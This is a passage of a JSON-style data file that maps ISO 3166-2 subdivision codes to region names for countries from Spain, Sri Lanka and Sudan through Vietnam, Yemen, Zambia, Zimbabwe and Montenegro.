\"ES-CB\": \"Cantabria\",\n  \"ES-CL\": \"Castilla y León\",\n  \"ES-CM\": \"Castilla-La Mancha\",\n  \"ES-CT\": \"Catalunya\",\n  \"ES-CE\": \"Ceuta\",\n  \"ES-EX\": \"Extremadura\",\n  \"ES-GA\": \"Galicia\",\n  \"ES-IB\": \"Illes Balears\",\n  \"ES-RI\": \"La Rioja\",\n  \"ES-MD\": \"Madrid\",\n  \"ES-ML\": \"Melilla\",\n  \"ES-MC\": \"Murcia\",\n  \"ES-NC\": \"Navarra\",\n  \"ES-PV\": \"País Vasco\",\n  \"ES-VC\": \"Valenciana\",\n  \"LK-1\": \"Basnāhira paḷāta\",\n  \"LK-3\": \"Dakuṇu paḷāta\",\n  \"LK-2\": \"Madhyama paḷāta\",\n  \"LK-5\": \"Næ̆gĕnahira paḷāta\",\n  \"LK-9\": \"Sabaragamuva paḷāta\",\n  \"LK-4\": \"Uturu paḷāta\",\n  \"LK-7\": \"Uturumæ̆da paḷāta\",\n  \"LK-8\": \"Ūva paḷāta\",\n  \"LK-6\": \"Vayamba paḷāta\",\n  \"SD-RS\": \"Al Baḩr al Aḩmar\",\n  \"SD-GZ\": \"Al Jazīrah\",\n  \"SD-KH\": \"Al Kharţūm\",\n  \"SD-GD\": \"Al Qaḑārif\",\n  \"SD-NW\": \"An Nīl al Abyaḑ\",\n  \"SD-NB\": \"An Nīl al Azraq\",\n  \"SD-NO\": \"Ash Shamālīyah\",\n  \"SD-DW\": \"Gharb Dārfūr\",\n  \"SD-GK\": \"Gharb Kurdufān\",\n  \"SD-DS\": \"Janūb Dārfūr\",\n  \"SD-KS\": \"Janūb Kurdufān\",\n  \"SD-KA\": \"Kassalā\",\n  \"SD-NR\": \"Nahr an Nīl\",\n  \"SD-DN\": \"Shamāl Dārfūr\",\n  \"SD-KN\": \"Shamāl Kurdufān\",\n  \"SD-DE\": \"Sharq Dārfūr\",\n  \"SD-SI\": \"Sinnār\",\n  \"SD-DC\": \"Wasaţ Dārfūr\",\n  \"SR-BR\": \"Brokopondo\",\n  \"SR-CM\": \"Commewijne\",\n  \"SR-CR\": \"Coronie\",\n  \"SR-MA\": \"Marowijne\",\n  \"SR-NI\": \"Nickerie\",\n  \"SR-PR\": \"Para\",\n  \"SR-PM\": \"Paramaribo\",\n  \"SR-SA\": \"Saramacca\",\n  \"SR-SI\": \"Sipaliwini\",\n  \"SR-WA\": \"Wanica\",\n  \"SZ-HH\": \"Hhohho\",\n  \"SZ-LU\": \"Lubombo\",\n  \"SZ-MA\": \"Manzini\",\n  \"SZ-SH\": \"Shiselweni\",\n  \"SE-K\": \"Blekinge län\",\n  \"SE-W\": \"Dalarnas län\",\n  \"SE-I\": \"Gotlands län\",\n  \"SE-X\": \"Gävleborgs län\",\n  \"SE-N\": \"Hallands län\",\n  \"SE-Z\": \"Jämtlands län\",\n  \"SE-F\": \"Jönköpings län\",\n  \"SE-H\": \"Kalmar län\",\n  \"SE-G\": \"Kronobergs län\",\n  \"SE-BD\": \"Norrbottens län\",\n  \"SE-M\": \"Skåne län\",\n  \"SE-AB\": \"Stockholms län\",\n  \"SE-D\": \"Södermanlands län\",\n  \"SE-C\": \"Uppsala län\",\n  \"SE-S\": \"Värmlands län\",\n  \"SE-AC\": \"Västerbottens län\",\n  \"SE-Y\": \"Västernorrlands län\",\n  \"SE-U\": \"Västmanlands län\",\n  \"SE-O\": \"Västra Götalands län\",\n  \"SE-T\": \"Örebro län\",\n  \"SE-E\": \"Östergötlands län\",\n  \"CH-AG\": \"Aargau\",\n  \"CH-AR\": \"Appenzell Ausserrhoden\",\n  \"CH-AI\": \"Appenzell Innerrhoden\",\n  \"CH-BL\": \"Basel-Landschaft\",\n  \"CH-BS\": \"Basel-Stadt\",\n  \"CH-BE\": \"Bern\",\n  \"CH-FR\": \"Fribourg\",\n  \"CH-GE\": \"Genève\",\n  \"CH-GL\": \"Glarus\",\n  \"CH-GR\": \"Graubünden\",\n  \"CH-JU\": \"Jura\",\n  \"CH-LU\": \"Luzern\",\n  \"CH-NE\": \"Neuchâtel\",\n  \"CH-NW\": \"Nidwalden\",\n  \"CH-OW\": \"Obwalden\",\n  \"CH-SG\": \"Sankt Gallen\",\n  \"CH-SH\": \"Schaffhausen\",\n  \"CH-SZ\": \"Schwyz\",\n  \"CH-SO\": \"Solothurn\",\n  \"CH-TG\": \"Thurgau\",\n  \"CH-TI\": \"Ticino\",\n  \"CH-UR\": \"Uri\",\n  \"CH-VS\": \"Valais\",\n  \"CH-VD\": \"Vaud\",\n  \"CH-ZG\": \"Zug\",\n  \"CH-ZH\": \"Zürich\",\n  \"SY-HA\": \"Al Ḩasakah\",\n  \"SY-LA\": \"Al Lādhiqīyah\",\n  \"SY-QU\": \"Al Qunayţirah\",\n  \"SY-RA\": \"Ar Raqqah\",\n  \"SY-SU\": \"As Suwaydā'\",\n  \"SY-DR\": \"Dar'ā\",\n  \"SY-DY\": \"Dayr az Zawr\",\n  \"SY-DI\": \"Dimashq\",\n  \"SY-HL\": \"Ḩalab\",\n  \"SY-HM\": \"Ḩamāh\",\n  \"SY-HI\": \"Ḩimş\",\n  \"SY-ID\": \"Idlib\",\n  \"SY-RD\": \"Rīf Dimashq\",\n  \"SY-TA\": \"Ţarţūs\",\n  \"TW-CHA\": \"Changhua\",\n  \"TW-CYI\": \"Chiayi\",\n  \"TW-CYQ\": \"Chiayi\",\n  \"TW-HSZ\": \"Hsinchu\",\n  \"TW-HSQ\": \"Hsinchu\",\n  \"TW-HUA\": \"Hualien\",\n  \"TW-KHH\": \"Kaohsiung\",\n  \"TW-KEE\": \"Keelung\",\n  \"TW-KIN\": \"Kinmen\",\n  \"TW-LIE\": \"Lienchiang\",\n  \"TW-MIA\": \"Miaoli\",\n  \"TW-NAN\": \"Nantou\",\n  \"TW-NWT\": \"New Taipei\",\n  \"TW-PEN\": \"Penghu\",\n  \"TW-PIF\": \"Pingtung\",\n  \"TW-TXG\": \"Taichung\",\n  \"TW-TNN\": \"Tainan\",\n  \"TW-TPE\": \"Taipei\",\n  \"TW-TTT\": \"Taitung\",\n  \"TW-TAO\": \"Taoyuan\",\n  \"TW-ILA\": \"Yilan\",\n  \"TW-YUN\": \"Yunlin\",\n  \"TJ-DU\": \"Dushanbe\",\n  \"TJ-KT\": \"Khatlon\",\n  \"TJ-GB\": \"Kŭhistoni Badakhshon\",\n  \"TJ-RA\": \"nohiyahoi tobei jumhurí\",\n  \"TJ-SU\": \"Sughd\",\n  \"TZ-01\": \"Arusha\",\n  \"TZ-02\": \"Dar es Salaam\",\n  \"TZ-03\": \"Dodoma\",\n  \"TZ-27\": \"Geita\",\n  \"TZ-04\": \"Iringa\",\n  \"TZ-05\": \"Kagera\",\n  \"TZ-06\": \"Kaskazini Pemba\",\n  \"TZ-07\": \"Kaskazini Unguja\",\n  \"TZ-28\": \"Katavi\",\n  \"TZ-08\": \"Kigoma\",\n  \"TZ-09\": \"Kilimanjaro\",\n  \"TZ-10\": \"Kusini Pemba\",\n  \"TZ-11\": \"Kusini Unguja\",\n  \"TZ-12\": \"Lindi\",\n  \"TZ-26\": \"Manyara\",\n  \"TZ-13\": \"Mara\",\n  \"TZ-14\": \"Mbeya\",\n  \"TZ-15\": \"Mjini Magharibi\",\n  \"TZ-16\": \"Morogoro\",\n  \"TZ-17\": \"Mtwara\",\n  \"TZ-18\": \"Mwanza\",\n  \"TZ-29\": \"Njombe\",\n  \"TZ-19\": \"Pwani\",\n  \"TZ-20\": \"Rukwa\",\n  \"TZ-21\": \"Ruvuma\",\n  \"TZ-22\": \"Shinyanga\",\n  \"TZ-30\": \"Simiyu\",\n  \"TZ-23\": \"Singida\",\n  \"TZ-31\": \"Songwe\",\n  \"TZ-24\": \"Tabora\",\n  \"TZ-25\": \"Tanga\",\n  \"TH-37\": \"Amnat Charoen\",\n  \"TH-15\": \"Ang Thong\",\n  \"TH-38\": \"Bueng Kan\",\n  \"TH-31\": \"Buri Ram\",\n  \"TH-24\": \"Chachoengsao\",\n  \"TH-18\": \"Chai Nat\",\n  \"TH-36\": \"Chaiyaphum\",\n  \"TH-22\": \"Chanthaburi\",\n  \"TH-50\": \"Chiang Mai\",\n  \"TH-57\": \"Chiang Rai\",\n  \"TH-20\": \"Chon Buri\",\n  \"TH-86\": \"Chumphon\",\n  \"TH-46\": \"Kalasin\",\n  \"TH-62\": \"Kamphaeng Phet\",\n  \"TH-71\": \"Kanchanaburi\",\n  \"TH-40\": \"Khon Kaen\",\n  \"TH-81\": \"Krabi\",\n  \"TH-10\": \"Bangkok\",\n  \"TH-52\": \"Lampang\",\n  \"TH-51\": \"Lamphun\",\n  \"TH-42\": \"Loei\",\n  \"TH-16\": \"Lop Buri\",\n  \"TH-58\": \"Mae Hong Son\",\n  \"TH-44\": \"Maha Sarakham\",\n  \"TH-49\": \"Mukdahan\",\n  \"TH-26\": \"Nakhon Nayok\",\n  \"TH-73\": \"Nakhon Pathom\",\n  \"TH-48\": \"Nakhon Phanom\",\n  \"TH-30\": \"Nakhon Ratchasima\",\n  \"TH-60\": \"Nakhon Sawan\",\n  \"TH-80\": \"Nakhon Si Thammarat\",\n  \"TH-55\": \"Nan\",\n  \"TH-96\": \"Narathiwat\",\n  \"TH-39\": \"Nong Bua Lam Phu\",\n  \"TH-43\": \"Nong Khai\",\n  \"TH-12\": \"Nonthaburi\",\n  \"TH-13\": \"Pathum Thani\",\n  \"TH-94\": \"Pattani\",\n  \"TH-82\": \"Phangnga\",\n  \"TH-93\": \"Phatthalung\",\n  \"TH-S\": \"Phatthaya\",\n  \"TH-56\": \"Phayao\",\n  \"TH-67\": \"Phetchabun\",\n  \"TH-76\": \"Phetchaburi\",\n  \"TH-66\": \"Phichit\",\n  \"TH-65\": \"Phitsanulok\",\n  \"TH-14\": \"Phra Nakhon Si Ayutthaya\",\n  \"TH-54\": \"Phrae\",\n  \"TH-83\": \"Phuket\",\n  \"TH-25\": \"Prachin Buri\",\n  \"TH-77\": \"Prachuap Khiri Khan\",\n  \"TH-85\": \"Ranong\",\n  \"TH-70\": \"Ratchaburi\",\n  \"TH-21\": \"Rayong\",\n  \"TH-45\": \"Roi Et\",\n  \"TH-27\": \"Sa Kaeo\",\n  \"TH-47\": \"Sakon Nakhon\",\n  \"TH-11\": \"Samut Prakan\",\n  \"TH-74\": \"Samut Sakhon\",\n  \"TH-75\": \"Samut Songkhram\",\n  \"TH-19\": \"Saraburi\",\n  \"TH-91\": \"Satun\",\n  \"TH-33\": \"Si Sa Ket\",\n  \"TH-17\": \"Sing Buri\",\n  \"TH-90\": \"Songkhla\",\n  \"TH-64\": \"Sukhothai\",\n  \"TH-72\": \"Suphan Buri\",\n  \"TH-84\": \"Surat Thani\",\n  \"TH-32\": \"Surin\",\n  \"TH-63\": \"Tak\",\n  \"TH-92\": \"Trang\",\n  \"TH-23\": \"Trat\",\n  \"TH-34\": \"Ubon Ratchathani\",\n  \"TH-41\": \"Udon Thani\",\n  \"TH-61\": \"Uthai Thani\",\n  \"TH-53\": \"Uttaradit\",\n  \"TH-95\": \"Yala\",\n  \"TH-35\": \"Yasothon\",\n  \"TL-AL\": \"Aileu\",\n  \"TL-AN\": \"Ainaro\",\n  \"TL-BA\": \"Baucau\",\n  \"TL-BO\": \"Bobonaro\",\n  \"TL-CO\": \"Cova Lima\",\n  \"TL-DI\": \"Díli\",\n  \"TL-ER\": \"Ermera\",\n  \"TL-LA\": \"Lautém\",\n  \"TL-LI\": \"Liquiça\",\n  \"TL-MT\": \"Manatuto\",\n  \"TL-MF\": \"Manufahi\",\n  \"TL-OE\": \"Oé-Cusse Ambeno\",\n  \"TL-VI\": \"Viqueque\",\n  \"TG-C\": \"Centrale\",\n  \"TG-K\": \"Kara\",\n  \"TG-M\": \"Maritime\",\n  \"TG-P\": \"Plateaux\",\n  \"TG-S\": \"Savanes\",\n  \"TO-01\": \"'Eua\",\n  \"TO-02\": \"Ha'apai\",\n  \"TO-03\": \"Niuas\",\n  \"TO-04\": \"Tongatapu\",\n  \"TO-05\": \"Vava'u\",\n  \"TT-ARI\": \"Arima\",\n  \"TT-CHA\": \"Chaguanas\",\n  \"TT-CTT\": \"Couva-Tabaquite-Talparo\",\n  \"TT-DMN\": \"Diego Martin\",\n  \"TT-MRC\": \"Mayaro-Rio Claro\",\n  \"TT-PED\": \"Penal-Debe\",\n  \"TT-POS\": \"Port of Spain\",\n  \"TT-PRT\": \"Princes Town\",\n  \"TT-PTF\": \"Point Fortin\",\n  \"TT-SFO\": \"San Fernando\",\n  \"TT-SGE\": \"Sangre Grande\",\n  \"TT-SIP\": \"Siparia\",\n  \"TT-SJL\": \"San Juan-Laventille\",\n  \"TT-TOB\": \"Tobago\",\n  \"TT-TUP\": \"Tunapuna-Piarco\",\n  \"TN-31\": \"Béja\",\n  \"TN-13\": \"Ben Arous\",\n  \"TN-23\": \"Bizerte\",\n  \"TN-81\": \"Gabès\",\n  \"TN-71\": \"Gafsa\",\n  \"TN-32\": \"Jendouba\",\n  \"TN-41\": \"Kairouan\",\n  \"TN-42\": \"Kasserine\",\n  \"TN-73\": \"Kébili\",\n  \"TN-12\": \"L'Ariana\",\n  \"TN-14\": \"La Manouba\",\n  \"TN-33\": \"Le Kef\",\n  \"TN-53\": \"Mahdia\",\n  \"TN-82\": \"Médenine\",\n  \"TN-52\": \"Monastir\",\n  \"TN-21\": \"Nabeul\",\n  \"TN-61\": \"Sfax\",\n  \"TN-43\": \"Sidi Bouzid\",\n  \"TN-34\": \"Siliana\",\n  \"TN-51\": \"Sousse\",\n  \"TN-83\": \"Tataouine\",\n  \"TN-72\": \"Tozeur\",\n  \"TN-11\": \"Tunis\",\n  \"TN-22\": \"Zaghouan\",\n  \"TR-01\": \"Adana\",\n  \"TR-02\": \"Adıyaman\",\n  \"TR-03\": \"Afyonkarahisar\",\n  \"TR-04\": \"Ağrı\",\n  \"TR-68\": \"Aksaray\",\n  \"TR-05\": \"Amasya\",\n  \"TR-06\": \"Ankara\",\n  \"TR-07\": \"Antalya\",\n  \"TR-75\": \"Ardahan\",\n  \"TR-08\": \"Artvin\",\n  \"TR-09\": \"Aydın\",\n  \"TR-10\": \"Balıkesir\",\n  \"TR-74\": \"Bartın\",\n  \"TR-72\": \"Batman\",\n  \"TR-69\": \"Bayburt\",\n  \"TR-11\": \"Bilecik\",\n  \"TR-12\": \"Bingöl\",\n  \"TR-13\": \"Bitlis\",\n  \"TR-14\": \"Bolu\",\n  \"TR-15\": \"Burdur\",\n  \"TR-16\": \"Bursa\",\n  \"TR-17\": \"Çanakkale\",\n  \"TR-18\": \"Çankırı\",\n  \"TR-19\": \"Çorum\",\n  \"TR-20\": \"Denizli\",\n  \"TR-21\": \"Diyarbakır\",\n  \"TR-81\": \"Düzce\",\n  \"TR-22\": \"Edirne\",\n  \"TR-23\": \"Elazığ\",\n  \"TR-24\": \"Erzincan\",\n  \"TR-25\": \"Erzurum\",\n  \"TR-26\": \"Eskişehir\",\n  \"TR-27\": \"Gaziantep\",\n  \"TR-28\": \"Giresun\",\n  \"TR-29\": \"Gümüşhane\",\n  \"TR-30\": \"Hakkâri\",\n  \"TR-31\": \"Hatay\",\n  \"TR-76\": \"Iğdır\",\n  \"TR-32\": \"Isparta\",\n  \"TR-34\": \"İstanbul\",\n  \"TR-35\": \"İzmir\",\n  \"TR-46\": \"Kahramanmaraş\",\n  \"TR-78\": \"Karabük\",\n  \"TR-70\": \"Karaman\",\n  \"TR-36\": \"Kars\",\n  \"TR-37\": \"Kastamonu\",\n  \"TR-38\": \"Kayseri\",\n  \"TR-71\": \"Kırıkkale\",\n  \"TR-39\": \"Kırklareli\",\n  \"TR-40\": \"Kırşehir\",\n  \"TR-79\": \"Kilis\",\n  \"TR-41\": \"Kocaeli\",\n  \"TR-42\": \"Konya\",\n  \"TR-43\": \"Kütahya\",\n  \"TR-44\": \"Malatya\",\n  \"TR-45\": \"Manisa\",\n  \"TR-47\": \"Mardin\",\n  \"TR-33\": \"Mersin\",\n  \"TR-48\": \"Muğla\",\n  \"TR-49\": \"Muş\",\n  \"TR-50\": \"Nevşehir\",\n  \"TR-51\": \"Niğde\",\n  \"TR-52\": \"Ordu\",\n  \"TR-80\": \"Osmaniye\",\n  \"TR-53\": \"Rize\",\n  \"TR-54\": \"Sakarya\",\n  \"TR-55\": \"Samsun\",\n  \"TR-56\": \"Siirt\",\n  \"TR-57\": \"Sinop\",\n  \"TR-58\": \"Sivas\",\n  \"TR-63\": \"Şanlıurfa\",\n  \"TR-73\": \"Şırnak\",\n  \"TR-59\": \"Tekirdağ\",\n  \"TR-60\": \"Tokat\",\n  \"TR-61\": \"Trabzon\",\n  \"TR-62\": \"Tunceli\",\n  \"TR-64\": \"Uşak\",\n  \"TR-65\": \"Van\",\n  \"TR-77\": \"Yalova\",\n  \"TR-66\": \"Yozgat\",\n  \"TR-67\": \"Zonguldak\",\n  \"TM-A\": \"Ahal\",\n  \"TM-S\": \"Aşgabat\",\n  \"TM-B\": \"Balkan\",\n  \"TM-D\": \"Daşoguz\",\n  \"TM-L\": \"Lebap\",\n  \"TM-M\": \"Mary\",\n  \"TV-FUN\": \"Funafuti\",\n  \"TV-NMG\": \"Nanumaga\",\n  \"TV-NMA\": \"Nanumea\",\n  \"TV-NIT\": \"Niutao\",\n  \"TV-NUI\": \"Nui\",\n  \"TV-NKF\": \"Nukufetau\",\n  \"TV-NKL\": \"Nukulaelae\",\n  \"TV-VAI\": \"Vaitupu\",\n  \"UG-C\": \"Central\",\n  \"UG-E\": \"Eastern\",\n  \"UG-N\": \"Northern\",\n  \"UG-W\": \"Western\",\n  \"UA-43\": \"Avtonomna Respublika Krym\",\n  \"UA-71\": \"Cherkaska oblast\",\n  \"UA-74\": \"Chernihivska oblast\",\n  \"UA-77\": \"Chernivetska oblast\",\n  \"UA-12\": \"Dnipropetrovska oblast\",\n  \"UA-14\": \"Donetska oblast\",\n  \"UA-26\": \"Ivano-Frankivska oblast\",\n  \"UA-63\": \"Kharkivska oblast\",\n  \"UA-65\": \"Khersonska oblast\",\n  \"UA-68\": \"Khmelnytska oblast\",\n  \"UA-35\": \"Kirovohradska oblast\",\n  \"UA-30\": \"Kyiv\",\n  \"UA-32\": \"Kyivska oblast\",\n  \"UA-09\": \"Luhanska oblast\",\n  \"UA-46\": \"Lvivska oblast\",\n  \"UA-48\": \"Mykolaivska oblast\",\n  \"UA-51\": \"Odeska oblast\",\n  \"UA-53\": \"Poltavska oblast\",\n  \"UA-56\": \"Rivnenska oblast\",\n  \"UA-40\": \"Sevastopol\",\n  \"UA-59\": \"Sumska oblast\",\n  \"UA-61\": \"Ternopilska oblast\",\n  \"UA-05\": \"Vinnytska oblast\",\n  \"UA-07\": \"Volynska oblast\",\n  \"UA-21\": \"Zakarpatska oblast\",\n  \"UA-23\": \"Zaporizka oblast\",\n  \"UA-18\": \"Zhytomyrska oblast\",\n  \"AE-AJ\": \"‘Ajmān\",\n  \"AE-AZ\": \"Abū Z̧aby\",\n  \"AE-FU\": \"Al Fujayrah\",\n  \"AE-SH\": \"Ash Shāriqah\",\n  \"AE-DU\": \"Dubayy\",\n  \"AE-RK\": \"Ra’s al Khaymah\",\n  \"AE-UQ\": \"Umm al Qaywayn\",\n  \"GB-ENG\": \"England\",\n  \"GB-NIR\": \"Northern Ireland\",\n  \"GB-SCT\": \"Scotland\",\n  \"GB-WLS\": \"Wales\",\n  \"US-AL\": \"Alabama\",\n  \"US-AK\": \"Alaska\",\n  \"US-AZ\": \"Arizona\",\n  \"US-AR\": \"Arkansas\",\n  \"US-CA\": \"California\",\n  \"US-CO\": \"Colorado\",\n  \"US-CT\": \"Connecticut\",\n  \"US-DE\": \"Delaware\",\n  \"US-FL\": \"Florida\",\n  \"US-GA\": \"Georgia\",\n  \"US-HI\": \"Hawaii\",\n  \"US-ID\": \"Idaho\",\n  \"US-IL\": \"Illinois\",\n  \"US-IN\": \"Indiana\",\n  \"US-IA\": \"Iowa\",\n  \"US-KS\": \"Kansas\",\n  \"US-KY\": \"Kentucky\",\n  \"US-LA\": \"Louisiana\",\n  \"US-ME\": \"Maine\",\n  \"US-MD\": \"Maryland\",\n  \"US-MA\": \"Massachusetts\",\n  \"US-MI\": \"Michigan\",\n  \"US-MN\": \"Minnesota\",\n  \"US-MS\": \"Mississippi\",\n  \"US-MO\": \"Missouri\",\n  \"US-MT\": \"Montana\",\n  \"US-NE\": \"Nebraska\",\n  \"US-NV\": \"Nevada\",\n  \"US-NH\": \"New Hampshire\",\n  \"US-NJ\": \"New Jersey\",\n  \"US-NM\": \"New Mexico\",\n  \"US-NY\": \"New York\",\n  \"US-NC\": \"North Carolina\",\n  \"US-ND\": \"North Dakota\",\n  \"US-OH\": \"Ohio\",\n  \"US-OK\": \"Oklahoma\",\n  \"US-OR\": \"Oregon\",\n  \"US-PA\": \"Pennsylvania\",\n  \"US-RI\": \"Rhode Island\",\n  \"US-SC\": \"South Carolina\",\n  \"US-SD\": \"South Dakota\",\n  \"US-TN\": \"Tennessee\",\n  \"US-TX\": \"Texas\",\n  \"US-UT\": \"Utah\",\n  \"US-VT\": \"Vermont\",\n  \"US-VA\": \"Virginia\",\n  \"US-WA\": \"Washington\",\n  \"US-WV\": \"West Virginia\",\n  \"US-WI\": \"Wisconsin\",\n  \"US-WY\": \"Wyoming\",\n  \"US-DC\": \"District of Columbia\",\n  \"US-AS\": \"American Samoa\",\n  \"US-GU\": \"Guam\",\n  \"US-MP\": \"Northern Mariana Islands\",\n  \"US-PR\": \"Puerto Rico\",\n  \"US-UM\": \"United States Minor Outlying Islands\",\n  \"US-VI\": \"Virgin Islands\",\n  \"UM-81\": \"Baker Island\",\n  \"UM-84\": \"Howland Island\",\n  \"UM-86\": \"Jarvis Island\",\n  \"UM-67\": \"Johnston Atoll\",\n  \"UM-89\": \"Kingman Reef\",\n  \"UM-71\": \"Midway Islands\",\n  \"UM-76\": \"Navassa Island\",\n  \"UM-95\": \"Palmyra Atoll\",\n  \"UM-79\": \"Wake Island\",\n  \"UY-AR\": \"Artigas\",\n  \"UY-CA\": \"Canelones\",\n  \"UY-CL\": \"Cerro Largo\",\n  \"UY-CO\": \"Colonia\",\n  \"UY-DU\": \"Durazno\",\n  \"UY-FS\": \"Flores\",\n  \"UY-FD\": \"Florida\",\n  \"UY-LA\": \"Lavalleja\",\n  \"UY-MA\": \"Maldonado\",\n  \"UY-MO\": \"Montevideo\",\n  \"UY-PA\": \"Paysandú\",\n  \"UY-RN\": \"Río Negro\",\n  \"UY-RV\": \"Rivera\",\n  \"UY-RO\": \"Rocha\",\n  \"UY-SA\": \"Salto\",\n  \"UY-SJ\": \"San José\",\n  \"UY-SO\": \"Soriano\",\n  \"UY-TA\": \"Tacuarembó\",\n  \"UY-TT\": \"Treinta y Tres\",\n  \"UZ-AN\": \"Andijon\",\n  \"UZ-BU\": \"Buxoro\",\n  \"UZ-FA\": \"Farg‘ona\",\n  \"UZ-JI\": \"Jizzax\",\n  \"UZ-NG\": \"Namangan\",\n  \"UZ-NW\": \"Navoiy\",\n  \"UZ-QA\": \"Qashqadaryo\",\n  \"UZ-QR\": \"Qoraqalpog‘iston Respublikasi\",\n  \"UZ-SA\": \"Samarqand\",\n  \"UZ-SI\": \"Sirdaryo\",\n  \"UZ-SU\": \"Surxondaryo\",\n  \"UZ-TK\": \"Toshkent\",\n  \"UZ-TO\": \"Toshkent\",\n  \"UZ-XO\": \"Xorazm\",\n  \"VU-MAP\": \"Malampa\",\n  \"VU-PAM\": \"Pénama\",\n  \"VU-SAM\": \"Sanma\",\n  \"VU-SEE\": \"Shéfa\",\n  \"VU-TAE\": \"Taféa\",\n  \"VU-TOB\": \"Torba\",\n  \"VE-Z\": \"Amazonas\",\n  \"VE-B\": \"Anzoátegui\",\n  \"VE-C\": \"Apure\",\n  \"VE-D\": \"Aragua\",\n  \"VE-E\": \"Barinas\",\n  \"VE-F\": \"Bolívar\",\n  \"VE-G\": \"Carabobo\",\n  \"VE-H\": \"Cojedes\",\n  \"VE-Y\": \"Delta Amacuro\",\n  \"VE-W\": \"Dependencias Federales\",\n  \"VE-A\": \"Distrito Capital\",\n  \"VE-I\": \"Falcón\",\n  \"VE-J\": \"Guárico\",\n  \"VE-X\": \"La Guaira\",\n  \"VE-K\": \"Lara\",\n  \"VE-L\": \"Mérida\",\n  \"VE-M\": \"Miranda\",\n  \"VE-N\": \"Monagas\",\n  \"VE-O\": \"Nueva Esparta\",\n  \"VE-P\": \"Portuguesa\",\n  \"VE-R\": \"Sucre\",\n  \"VE-S\": \"Táchira\",\n  \"VE-T\": \"Trujillo\",\n  \"VE-U\": \"Yaracuy\",\n  \"VE-V\": \"Zulia\",\n  \"VN-44\": \"An Giang\",\n  \"VN-43\": \"Bà Rịa - Vũng Tàu\",\n  \"VN-54\": \"Bắc Giang\",\n  \"VN-53\": \"Bắc Kạn\",\n  \"VN-55\": \"Bạc Liêu\",\n  \"VN-56\": \"Bắc Ninh\",\n  \"VN-50\": \"Bến Tre\",\n  \"VN-31\": \"Bình Định\",\n  \"VN-57\": \"Bình Dương\",\n  \"VN-58\": \"Bình Phước\",\n  \"VN-40\": \"Bình Thuận\",\n  \"VN-59\": \"Cà Mau\",\n  \"VN-CT\": \"Cần Thơ\",\n  \"VN-04\": \"Cao Bằng\",\n  \"VN-DN\": \"Đà Nẵng\",\n  \"VN-33\": \"Đắk Lắk\",\n  \"VN-72\": \"Đắk Nông\",\n  \"VN-71\": \"Điện Biên\",\n  \"VN-39\": \"Đồng Nai\",\n  \"VN-45\": \"Đồng Tháp\",\n  \"VN-30\": \"Gia Lai\",\n  \"VN-03\": \"Hà Giang\",\n  \"VN-63\": \"Hà Nam\",\n  \"VN-HN\": \"Hà Nội\",\n  \"VN-23\": \"Hà Tĩnh\",\n  \"VN-61\": \"Hải Dương\",\n  \"VN-HP\": \"Hải Phòng\",\n  \"VN-73\": \"Hậu Giang\",\n  \"VN-SG\": \"Hồ Chí Minh\",\n  \"VN-14\": \"Hòa Bình\",\n  \"VN-66\": \"Hưng Yên\",\n  \"VN-34\": \"Khánh Hòa\",\n  \"VN-47\": \"Kiến Giang\",\n  \"VN-28\": \"Kon Tum\",\n  \"VN-01\": \"Lai Châu\",\n  \"VN-35\": \"Lâm Đồng\",\n  \"VN-09\": \"Lạng Sơn\",\n  \"VN-02\": \"Lào Cai\",\n  \"VN-41\": \"Long An\",\n  \"VN-67\": \"Nam Định\",\n  \"VN-22\": \"Nghệ An\",\n  \"VN-18\": \"Ninh Bình\",\n  \"VN-36\": \"Ninh Thuận\",\n  \"VN-68\": \"Phú Thọ\",\n  \"VN-32\": \"Phú Yên\",\n  \"VN-24\": \"Quảng Bình\",\n  \"VN-27\": \"Quảng Nam\",\n  \"VN-29\": \"Quảng Ngãi\",\n  \"VN-13\": \"Quảng Ninh\",\n  \"VN-25\": \"Quảng Trị\",\n  \"VN-52\": \"Sóc Trăng\",\n  \"VN-05\": \"Sơn La\",\n  \"VN-37\": \"Tây Ninh\",\n  \"VN-20\": \"Thái Bình\",\n  \"VN-69\": \"Thái Nguyên\",\n  \"VN-21\": \"Thanh Hóa\",\n  \"VN-26\": \"Thừa Thiên-Huế\",\n  \"VN-46\": \"Tiền Giang\",\n  \"VN-51\": \"Trà Vinh\",\n  \"VN-07\": \"Tuyên Quang\",\n  \"VN-49\": \"Vĩnh Long\",\n  \"VN-70\": \"Vĩnh Phúc\",\n  \"VN-06\": \"Yên Bái\",\n  \"WF-AL\": \"Alo\",\n  \"WF-SG\": \"Sigave\",\n  \"WF-UV\": \"Uvea\",\n  \"YE-AD\": \"‘Adan\",\n  \"YE-AM\": \"‘Amrān\",\n  \"YE-AB\": \"Abyan\",\n  \"YE-DA\": \"Aḑ Ḑāli‘\",\n  \"YE-BA\": \"Al Bayḑā’\",\n  \"YE-HU\": \"Al Ḩudaydah\",\n  \"YE-JA\": \"Al Jawf\",\n  \"YE-MR\": \"Al Mahrah\",\n  \"YE-MW\": \"Al Maḩwīt\",\n  \"YE-SA\": \"Amānat al ‘Āşimah\",\n  \"YE-SU\": \"Arkhabīl Suquţrá\",\n  \"YE-DH\": \"Dhamār\",\n  \"YE-HD\": \"Ḩaḑramawt\",\n  \"YE-HJ\": \"Ḩajjah\",\n  \"YE-IB\": \"Ibb\",\n  \"YE-LA\": \"Laḩij\",\n  \"YE-MA\": \"Ma’rib\",\n  \"YE-RA\": \"Raymah\",\n  \"YE-SD\": \"Şāʻdah\",\n  \"YE-SN\": \"Şanʻā’\",\n  \"YE-SH\": \"Shabwah\",\n  \"YE-TA\": \"Tāʻizz\",\n  \"ZM-02\": \"Central\",\n  \"ZM-08\": \"Copperbelt\",\n  \"ZM-03\": \"Eastern\",\n  \"ZM-04\": \"Luapula\",\n  \"ZM-09\": \"Lusaka\",\n  \"ZM-10\": \"Muchinga\",\n  \"ZM-06\": \"North-Western\",\n  \"ZM-05\": \"Northern\",\n  \"ZM-07\": \"Southern\",\n  \"ZM-01\": \"Western\",\n  \"ZW-BU\": \"Bulawayo\",\n  \"ZW-HA\": \"Harare\",\n  \"ZW-MA\": \"Manicaland\",\n  \"ZW-MC\": \"Mashonaland Central\",\n  \"ZW-ME\": \"Mashonaland East\",\n  \"ZW-MW\": \"Mashonaland West\",\n  \"ZW-MV\": \"Masvingo\",\n  \"ZW-MN\": \"Matabeleland North\",\n  \"ZW-MS\": \"Matabeleland South\",\n  \"ZW-MI\": \"Midlands\",\n  \"BQ-BO\": \"Bonaire\",\n  \"BQ-SA\": \"Saba\",\n  \"BQ-SE\": \"Sint Eustatius\",\n  \"ME-01\": \"Andrijevica\",\n  \"ME-02\": \"Bar\",\n  \"ME-03\": \"Berane\",\n  \"ME-04\": 